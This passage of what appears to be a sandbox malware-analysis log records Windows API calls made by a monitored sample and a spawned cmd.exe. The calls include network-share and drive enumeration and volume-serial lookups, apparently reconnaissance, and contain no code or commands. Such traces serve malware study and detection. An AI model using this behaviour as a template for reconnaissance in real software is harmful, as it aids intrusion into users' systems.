dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x24efef0 | out: lphEnum=0x24efef0*=0x17a738) returned 0x0 [0094.795] WNetEnumResourceW (in: hEnum=0x17a738, lpcCount=0x24efee8, lpBuffer=0x1a7d58, lpBufferSize=0x24efef4 | out: lpcCount=0x24efee8, lpBuffer=0x1a7d58, lpBufferSize=0x24efef4) returned 0x0 [0094.800] GetProcessHeap () returned 0x170000 [0094.800] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x4000) returned 0x1abd60 [0094.801] GetProcessHeap () returned 0x170000 [0094.801] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x10000) returned 0x1afd68 [0094.807] WNetOpenEnumW (dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x1a7d58, lphEnum=0x24efeb0) Thread: id = 8 os_tid = 0x10f4 [0070.230] GetLogicalDrives () returned 0x4 [0070.230] GetProcessHeap () returned 0x170000 [0070.230] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x17e1e8 [0070.230] GetProcessHeap () returned 0x170000 [0070.230] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x28) returned 0x17ee90 [0070.230] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x258 [0070.230] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x25c [0070.230] GetProcessHeap () returned 0x170000 [0070.230] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x18c2d8 [0070.230] GetProcessHeap () returned 0x170000 [0070.230] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x18c058 [0070.230] GetProcessHeap () returned 0x170000 [0070.230] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x18c080 [0070.230] GetProcessHeap () returned 0x170000 [0070.230] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x174b30 [0070.230] GetProcessHeap () returned 0x170000 [0070.230] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174b30 | out: hHeap=0x170000) returned 1 [0070.230] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x18c058, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0070.230] GetProcessHeap () returned 0x170000 [0070.231] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c080 | out: hHeap=0x170000) returned 1 [0070.231] GetProcessHeap () returned 0x170000 [0070.231] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2d8 | out: hHeap=0x170000) returned 1 [0070.231] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x25ef86c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x25ef86c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0070.231] GetProcessHeap () returned 0x170000 [0070.231] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c058 | out: hHeap=0x170000) returned 1 [0070.231] WaitForSingleObject (hHandle=0x25c, dwMilliseconds=0xffffffff) returned 0x0 [0070.231] CloseHandle (hObject=0x25c) returned 1 [0070.231] CloseHandle (hObject=0x258) returned 1 [0070.231] GetProcessHeap () returned 0x170000 [0070.231] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17ee90 | out: hHeap=0x170000) returned 1 [0070.232] GetProcessHeap () returned 0x170000 [0070.232] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17e1e8 | out: hHeap=0x170000) returned 1 [0070.232] GetProcessHeap () returned 0x170000 [0070.232] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x180ec0 | out: hHeap=0x170000) returned 1 Thread: id = 9 os_tid = 0x10f8 [0070.234] GetLogicalDrives () returned 0x4 [0070.234] GetProcessHeap () returned 0x170000 [0070.234] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x18c2b0 [0070.234] GetProcessHeap () returned 0x170000 [0070.234] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x18c120 [0070.234] GetProcessHeap () returned 0x170000 [0070.234] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x18c2d8 [0070.234] GetProcessHeap () returned 0x170000 [0070.234] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x174b30 [0070.234] GetProcessHeap () returned 0x170000 [0070.234] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174b30 | out: hHeap=0x170000) returned 1 [0070.234] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x18c120, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0070.234] GetProcessHeap () returned 0x170000 [0070.234] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2d8 | out: hHeap=0x170000) returned 1 [0070.234] GetProcessHeap () returned 0x170000 [0070.234] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2b0 | out: hHeap=0x170000) returned 1 [0070.234] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x26efe24, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x26efe24*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0070.235] GetProcessHeap () returned 0x170000 [0070.235] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c120 | out: hHeap=0x170000) returned 1 [0070.235] GetProcessHeap () returned 0x170000 [0070.235] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x17dcd8 [0070.235] GetProcessHeap () returned 0x170000 [0070.235] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x28) returned 0x17ee90 [0070.235] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x258 [0070.235] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x25c [0070.235] CloseHandle (hObject=0x25c) returned 1 [0070.235] CloseHandle (hObject=0x258) returned 1 [0070.235] GetProcessHeap () returned 0x170000 [0070.235] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17ee90 | out: hHeap=0x170000) returned 1 [0070.235] GetProcessHeap () returned 0x170000 [0070.235] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17dcd8 | out: hHeap=0x170000) returned 1 [0070.235] GetProcessHeap () returned 0x170000 [0070.235] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x180f20 | out: hHeap=0x170000) returned 1 Thread: id = 41 os_tid = 0x4ec Thread: id = 42 os_tid = 0x774 Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x15469000" os_pid = "0x704" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x11b8" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 19 os_tid = 0x12cc [0089.056] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7ab000000 [0089.056] __set_app_type (_Type=0x1) [0089.056] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7ab016d00) returned 0x0 [0089.057] __getmainargs (in: _Argc=0x7ff7ab039200, _Argv=0x7ff7ab039208, _Env=0x7ff7ab039210, _DoWildCard=0, _StartInfo=0x7ff7ab03921c | out: _Argc=0x7ff7ab039200, _Argv=0x7ff7ab039208, _Env=0x7ff7ab039210) returned 0 [0089.057] _onexit (_Func=0x7ff7ab017fd0) returned 0x7ff7ab017fd0 [0089.057] _onexit (_Func=0x7ff7ab017fe0) returned 0x7ff7ab017fe0 [0089.057] _onexit (_Func=0x7ff7ab017ff0) returned 0x7ff7ab017ff0 [0089.057] _onexit (_Func=0x7ff7ab018000) returned 0x7ff7ab018000 [0089.058] _onexit (_Func=0x7ff7ab018010) returned 0x7ff7ab018010 [0089.058] _onexit (_Func=0x7ff7ab018020) returned 0x7ff7ab018020 [0089.058] GetCurrentThreadId () returned 0x12cc [0089.058] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x12cc) returned 0x70 [0089.058] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffce9120000 [0089.059] GetProcAddress (hModule=0x7ffce9120000, lpProcName="SetThreadUILanguage") returned 0x7ffce913a990 [0089.059] SetThreadUILanguage (LangId=0x0) returned 0x409 [0089.935] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0089.935] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xfd951efa58 | out: phkResult=0xfd951efa58*=0x0) returned 0x2 [0089.936] VirtualQuery (in: lpAddress=0xfd951efa44, lpBuffer=0xfd951ef9c0, dwLength=0x30 | out: lpBuffer=0xfd951ef9c0*(BaseAddress=0xfd951ef000, AllocationBase=0xfd950f0000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0089.936] VirtualQuery (in: lpAddress=0xfd950f0000, lpBuffer=0xfd951ef9c0, dwLength=0x30 | out: lpBuffer=0xfd951ef9c0*(BaseAddress=0xfd950f0000, AllocationBase=0xfd950f0000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0089.936] VirtualQuery (in: lpAddress=0xfd950f1000, lpBuffer=0xfd951ef9c0, dwLength=0x30 | out: lpBuffer=0xfd951ef9c0*(BaseAddress=0xfd950f1000, AllocationBase=0xfd950f0000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0089.936] VirtualQuery (in: lpAddress=0xfd950f4000, lpBuffer=0xfd951ef9c0, dwLength=0x30 | out: lpBuffer=0xfd951ef9c0*(BaseAddress=0xfd950f4000, AllocationBase=0xfd950f0000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0089.936] VirtualQuery (in: lpAddress=0xfd951f0000, lpBuffer=0xfd951ef9c0, dwLength=0x30 | out: lpBuffer=0xfd951ef9c0*(BaseAddress=0xfd951f0000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffff9302, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0089.936] GetConsoleOutputCP () returned 0x1b5 [0090.928] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7ab03fbb0 | out: lpCPInfo=0x7ff7ab03fbb0) returned 1 [0090.933] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7ab028150, Add=1) returned 1 [0090.950] _get_osfhandle (_FileHandle=1) returned 0x280 [0090.950] GetConsoleMode (in: hConsoleHandle=0x280, lpMode=0x7ff7ab03fc04 | out: lpMode=0x7ff7ab03fc04) returned 0 [0090.950] _get_osfhandle (_FileHandle=0) returned 0x274 [0090.950] GetConsoleMode (in: hConsoleHandle=0x274, lpMode=0x7ff7ab03fc00 | out: lpMode=0x7ff7ab03fc00) returned 0 [0090.950] _get_osfhandle (_FileHandle=1) returned 0x280 [0090.950] SetConsoleMode (hConsoleHandle=0x280, dwMode=0x0) returned 0 [0090.950] _get_osfhandle (_FileHandle=1) returned 0x280 [0090.950] GetConsoleMode (in: hConsoleHandle=0x280, lpMode=0x7ff7ab03fc08 | out: lpMode=0x7ff7ab03fc08) returned 0 [0090.950] _get_osfhandle (_FileHandle=0) returned 0x274 [0090.950] GetConsoleMode (in: hConsoleHandle=0x274, lpMode=0x7ff7ab03fc0c | out: lpMode=0x7ff7ab03fc0c) returned 0 [0090.950] GetEnvironmentStringsW () returned 0x2879df75a10* [0090.951] GetProcessHeap () returned 0x2879df70000 [0090.951] RtlAllocateHeap (HeapHandle=0x2879df70000, Flags=0x8, Size=0xa7c) returned 0x2879df764a0 [0090.951] FreeEnvironmentStringsA (penv="A") returned 1 [0090.951] GetProcessHeap () returned 0x2879df70000 [0090.951] RtlAllocateHeap (HeapHandle=0x2879df70000, Flags=0x8, Size=0x8) returned 0x2879df76f30 [0090.951] GetEnvironmentStringsW () returned 0x2879df75a10* [0090.951] GetProcessHeap () returned 0x2879df70000 [0090.951] RtlAllocateHeap (HeapHandle=0x2879df70000, Flags=0x8, Size=0xa7c) returned 0x2879df76f50 [0090.951] FreeEnvironmentStringsA (penv="A") returned 1 [0090.951] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xfd951ee908 | out: phkResult=0xfd951ee908*=0x7c) returned 0x0 [0090.952] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xfd951ee900, lpData=0xfd951ee920, lpcbData=0xfd951ee904*=0x1000 | out: lpType=0xfd951ee900*=0x0, lpData=0xfd951ee920*=0x4, lpcbData=0xfd951ee904*=0x1000) returned 0x2 [0090.952] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xfd951ee900, lpData=0xfd951ee920, lpcbData=0xfd951ee904*=0x1000 | out: lpType=0xfd951ee900*=0x4, lpData=0xfd951ee920*=0x1, lpcbData=0xfd951ee904*=0x4) returned 0x0 [0090.952] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xfd951ee900, lpData=0xfd951ee920, lpcbData=0xfd951ee904*=0x1000 | out: lpType=0xfd951ee900*=0x0, lpData=0xfd951ee920*=0x1, lpcbData=0xfd951ee904*=0x1000) returned 0x2 [0090.952] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xfd951ee900, lpData=0xfd951ee920, lpcbData=0xfd951ee904*=0x1000 | out: lpType=0xfd951ee900*=0x4, lpData=0xfd951ee920*=0x0, lpcbData=0xfd951ee904*=0x4) returned 0x0 [0090.952] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xfd951ee900, lpData=0xfd951ee920, lpcbData=0xfd951ee904*=0x1000 | out: lpType=0xfd951ee900*=0x4, lpData=0xfd951ee920*=0x40, lpcbData=0xfd951ee904*=0x4) returned 0x0 [0090.952] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xfd951ee900, lpData=0xfd951ee920, lpcbData=0xfd951ee904*=0x1000 | out: lpType=0xfd951ee900*=0x4, lpData=0xfd951ee920*=0x40, lpcbData=0xfd951ee904*=0x4) returned 0x0 [0090.952] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xfd951ee900, lpData=0xfd951ee920, lpcbData=0xfd951ee904*=0x1000 | out: lpType=0xfd951ee900*=0x0, lpData=0xfd951ee920*=0x40, lpcbData=0xfd951ee904*=0x1000) returned 0x2 [0090.952] RegCloseKey (hKey=0x7c) returned 0x0 [0090.952] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xfd951ee908 | out: phkResult=0xfd951ee908*=0x7c) returned 0x0 [0090.952] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xfd951ee900, lpData=0xfd951ee920, lpcbData=0xfd951ee904*=0x1000 | out: lpType=0xfd951ee900*=0x0, lpData=0xfd951ee920*=0x40, lpcbData=0xfd951ee904*=0x1000) returned 0x2 [0090.952] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xfd951ee900, lpData=0xfd951ee920, lpcbData=0xfd951ee904*=0x1000 | out: lpType=0xfd951ee900*=0x4, lpData=0xfd951ee920*=0x1, lpcbData=0xfd951ee904*=0x4) returned 0x0 [0090.952] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xfd951ee900, lpData=0xfd951ee920, lpcbData=0xfd951ee904*=0x1000 | out: lpType=0xfd951ee900*=0x0, lpData=0xfd951ee920*=0x1, lpcbData=0xfd951ee904*=0x1000) returned 0x2 [0090.952] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xfd951ee900, lpData=0xfd951ee920, lpcbData=0xfd951ee904*=0x1000 | out: lpType=0xfd951ee900*=0x4, lpData=0xfd951ee920*=0x0, lpcbData=0xfd951ee904*=0x4) returned 0x0 [0090.952] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xfd951ee900, lpData=0xfd951ee920, lpcbData=0xfd951ee904*=0x1000 | out: lpType=0xfd951ee900*=0x4, lpData=0xfd951ee920*=0x9, lpcbData=0xfd951ee904*=0x4) returned 0x0 [0090.952] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xfd951ee900, lpData=0xfd951ee920, lpcbData=0xfd951ee904*=0x1000 | out: lpType=0xfd951ee900*=0x4, lpData=0xfd951ee920*=0x9, lpcbData=0xfd951ee904*=0x4) returned 0x0 [0090.952] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xfd951ee900, lpData=0xfd951ee920, lpcbData=0xfd951ee904*=0x1000 | out: lpType=0xfd951ee900*=0x0, lpData=0xfd951ee920*=0x9, lpcbData=0xfd951ee904*=0x1000) returned 0x2 [0090.952] RegCloseKey (hKey=0x7c) returned 0x0 [0090.953] time (in: timer=0x0 | out: timer=0x0) returned 0x5ee22364 [0090.953] srand (_Seed=0x5ee22364) [0090.953] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0090.953] malloc (_Size=0x4000) returned 0x2879e2a54f0 [0090.953] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0090.953] malloc (_Size=0xffce) returned 0x2879e140080 [0090.954] ??_V@YAXPEAX@Z () returned 0x2879e140080 [0090.955] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2879e140080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0090.955] malloc (_Size=0xffce) returned 0x2879e150060 [0090.955] ??_V@YAXPEAX@Z () returned 0x2879e150060 [0090.956] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2879e150060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0090.956] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7ab03bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0090.956] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7ab03bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0090.957] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7ab03bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0090.957] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0090.957] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0090.957] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0090.957] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0090.957] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0090.957] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0090.957] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0090.957] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0090.957] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0090.957] GetProcessHeap () returned 0x2879df70000 [0090.957] RtlFreeHeap (HeapHandle=0x2879df70000, Flags=0x0, BaseAddress=0x2879df764a0) returned 1 [0090.957] GetEnvironmentStringsW () returned 0x2879df75a10* [0090.957] GetProcessHeap () returned 0x2879df70000 [0090.957] RtlAllocateHeap (HeapHandle=0x2879df70000, Flags=0x8, Size=0xa94) returned 0x2879df77a10 [0090.958] FreeEnvironmentStringsA (penv="A") returned 1 [0090.958] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7ab03bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0090.958] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7ab03bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0090.958] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0090.958] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0090.958] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0090.958] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0090.958] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0090.958] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0090.958] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0090.958] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0090.958] malloc (_Size=0xffce) returned 0x2879e160040 [0090.958] ??_V@YAXPEAX@Z () returned 0x2879e160040 [0090.959] GetProcessHeap () returned 0x2879df70000 [0090.959] RtlAllocateHeap (HeapHandle=0x2879df70000, Flags=0x8, Size=0x40) returned 0x2879df784b0 [0090.959] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2879e160040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0090.960] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x2879e160040, lpFilePart=0xfd951ef480 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xfd951ef480*="Desktop") returned 0x17 [0090.960] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0090.961] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xfd951ef1b0 | out: lpFindFileData=0xfd951ef1b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x2879df78500 [0090.961] FindClose (in: hFindFile=0x2879df78500 | out: hFindFile=0x2879df78500) returned 1 [0090.961] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0xfd951ef1b0 | out: lpFindFileData=0xfd951ef1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x2879df78500 [0090.961] FindClose (in: hFindFile=0x2879df78500 | out: hFindFile=0x2879df78500) returned 1 [0090.961] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0xfd951ef1b0 | out: lpFindFileData=0xfd951ef1b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xa5b5c9e1, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xa5b5c9e1, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x2879df78500 [0090.962] FindClose (in: hFindFile=0x2879df78500 | out: hFindFile=0x2879df78500) returned 1 [0090.962] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0090.962] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0090.962] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0090.962] GetProcessHeap () returned 0x2879df70000 [0090.962] RtlFreeHeap (HeapHandle=0x2879df70000, Flags=0x0, BaseAddress=0x2879df77a10) returned 1 [0090.962] GetEnvironmentStringsW () returned 0x2879df70fc0* [0090.962] GetProcessHeap () returned 0x2879df70000 [0090.962] RtlAllocateHeap (HeapHandle=0x2879df70000, Flags=0x8, Size=0xacc) returned 0x2879df78500 [0090.962] FreeEnvironmentStringsA (penv="=") returned 1 [0090.962] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2879e140080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0090.962] GetProcessHeap () returned 0x2879df70000 [0090.962] RtlFreeHeap (HeapHandle=0x2879df70000, Flags=0x0, BaseAddress=0x2879df784b0) returned 1 [0090.962] ??_V@YAXPEAX@Z () returned 0x1 [0090.962] ??_V@YAXPEAX@Z () returned 0x1 [0090.963] GetProcessHeap () returned 0x2879df70000 [0090.963] RtlAllocateHeap (HeapHandle=0x2879df70000, Flags=0x8, Size=0x4016) returned 0x2879df78fe0 [0090.963] GetProcessHeap () returned 0x2879df70000 [0090.963] RtlFreeHeap (HeapHandle=0x2879df70000, Flags=0x0, BaseAddress=0x2879df78fe0) returned 1 [0090.963] GetConsoleOutputCP () returned 0x1b5 [0091.565] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7ab03fbb0 | out: lpCPInfo=0x7ff7ab03fbb0) returned 1 [0091.565] GetUserDefaultLCID () returned 0x409 [0091.567] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7ab03bb78, cchData=8 | out: lpLCData=":") returned 2 [0091.568] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xfd951ef840, cchData=128 | out: lpLCData="0") returned 2 [0091.568] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xfd951ef840, cchData=128 | out: lpLCData="0") returned 2 [0091.568] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xfd951ef840, cchData=128 | out: lpLCData="1") returned 2 [0091.568] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7ab03bb68, cchData=8 | out: lpLCData="/") returned 2 [0091.568] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7ab03bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0091.568] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7ab03bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0091.568] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7ab03ba80, cchData=32 | out: lpLCData="Wed") returned 